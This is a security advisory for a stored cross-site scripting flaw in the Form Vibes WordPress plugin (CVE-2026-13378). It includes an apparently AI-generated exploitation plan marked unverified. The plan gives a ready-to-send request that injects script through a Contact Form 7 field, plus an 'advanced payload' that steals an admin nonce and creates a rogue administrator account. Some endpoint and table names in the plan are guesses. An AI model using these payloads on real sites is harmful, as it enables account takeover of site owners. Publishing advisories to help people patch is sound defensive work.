CVE-2026-13378

Form Vibes <= 1.5.2 - Unauthenticated Stored Cross-Site Scripting via Contact Form 7 Form Field

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.5.3
Patched in
1d
Time to patch

Description

The Form Vibes – Database Manager for Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form 7 Form Field in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.2
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginform-vibes

What Changed in the Fix

Changes introduced in v1.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Vibes** plugin (CVE-2026-13378). ### 1. Vulnerability Summary The **Form Vibes** plugin captures and stores submissions from Contact Form 7 (CF7). Version 1.5…

Show full research plan

This exploitation research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Form Vibes plugin (CVE-2026-13378).

1. Vulnerability Summary

The Form Vibes plugin captures and stores submissions from Contact Form 7 (CF7). Version 1.5.2 and below fail to sanitize user-supplied data during storage or escape it during output in the WordPress admin dashboard. An unauthenticated attacker can submit a CF7 form containing a malicious script. When an administrator views the "Form Vibes" submissions page, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.

2. Attack Vector Analysis

  • Vulnerable Endpoint: The Contact Form 7 submission handler (typically wp-json/contact-form-7/v1/contact-forms/{id}/feedback or admin-ajax.php).
  • Vulnerable Parameter: Any form field defined in the Contact Form 7 form (e.g., your-name, your-message, or custom fields).
  • Authentication: None (Unauthenticated). Contact Form 7 forms are designed for public use.
  • Preconditions:
    1. Contact Form 7 must be installed and a form must be active.
    2. Form Vibes must be configured to capture submissions for that form (default behavior).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to the CF7 submission endpoint.
  2. Processing (CF7): CF7 processes the submission and triggers hooks for third-party integration.
  3. Capture (Form Vibes): Form Vibes hooks into CF7 (likely via wpcf7_before_send_mail or wpcf7_submit). It extracts the $_POST data.
  4. Storage: The plugin saves the raw, unsanitized submission data into the database (likely a table like wp_fv_submissions).
  5. Rendering (Sink): An administrator navigates to the Form Vibes "Submissions" page. The plugin retrieves the data and renders it in a Vue-based admin UI (referencing assets/dist/assets/checkbox-8506caf4.js and collapse-item-20cd97f9.js for UI components). The data is output without sufficient escaping (e.g., using v-html or unescaped PHP echo).

4. Nonce Acquisition Strategy

While Contact Form 7 uses nonces for some internal functions, unauthenticated submissions to public forms usually do not require a valid WordPress user nonce. However, CF7 forms require a _wpcf7 (Form ID) and _wpcf7_unit_tag.

Strategy:

  1. Navigate to the public page containing the Contact Form 7 form using browser_navigate.
  2. Use browser_eval to extract the necessary form metadata from the DOM.
  3. The Form ID is found in the name="_wpcf7" hidden input.
  4. The Unit Tag is found in the name="_wpcf7_unit_tag" hidden input.

5. Exploitation Strategy

The goal is to inject a payload that executes when an admin views the submissions.

Step-by-Step Plan:

  1. Identify Form: Locate a published page with a CF7 form and extract the _wpcf7 ID.
  2. Craft Payload: Use a standard XSS payload: <img src=x onerror=alert(document.domain)>.
  3. Submit Form: Use the http_request tool to perform a POST request mimicking a legitimate CF7 submission.

HTTP Request Details:

  • URL: https://[target]/wp-json/contact-form-7/v1/contact-forms/[FORM_ID]/feedback
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • _wpcf7: [FORM_ID]
    • _wpcf7_version: [VERSION]
    • _wpcf7_locale: en_US
    • _wpcf7_unit_tag: [UNIT_TAG]
    • _wpcf7_container_post: [POST_ID]
    • your-name: <img src=x onerror=alert(document.domain)>
    • your-email: attacker@example.com
    • your-subject: Security Research
    • your-message: Testing XSS

6. Test Data Setup

  1. Install Plugins: Install contact-form-7 and form-vibes (v1.5.2).
  2. Create Form: Use CF7 to create a basic form (ID 123).
  3. Create Page: Create a public page containing the shortcode: [contact-form-7 id="123" title="Contact form 1"].
  4. User: Ensure an administrative user exists to trigger the payload.

7. Expected Results

  • The CF7 submission should return a 200 OK with a JSON body indicating success (e.g., {"status":"mail_sent", ...}).
  • When the administrator visits /wp-admin/admin.php?page=form-vibes, the browser will render the injected <img> tag.
  • The onerror event will trigger, executing alert(document.domain).

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored raw in the database:
    wp db query "SELECT * FROM wp_fv_submissions WHERE form_id=123 ORDER BY id DESC LIMIT 1;"
  2. Admin UI Simulation: Navigate to the Form Vibes dashboard in the browser as an admin and check for the alert box.
  3. Source Check: Use browser_eval on the admin page to check if the payload is rendered in the DOM without entity encoding:
    browser_eval("document.body.innerHTML.includes('<img src=x onerror=alert')")

9. Alternative Approaches

  • Rest API Sink: If the admin UI fetches data via the REST API, check the wp-json/form-vibes/v1/submissions endpoint (inferred) to see if the JSON response contains the unescaped payload.
  • Bypass Attempts: If your-name is sanitized, try injecting into your-message or the _wpcf7_unit_tag (if Form Vibes captures internal CF7 metadata).
  • Advanced Payload: Instead of alert(), use a payload to steal the admin's nonce and create a new administrator:
    <script>
    fetch('/wp-admin/user-new.php').then(r => r.text()).then(h => {
      const n = h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1];
      fetch('/wp-admin/user-new.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: `action=createuser&_wpnonce_create-user=${n}&user_login=hacker&email=h@acker.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator`
      });
    });
    </script>
    

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.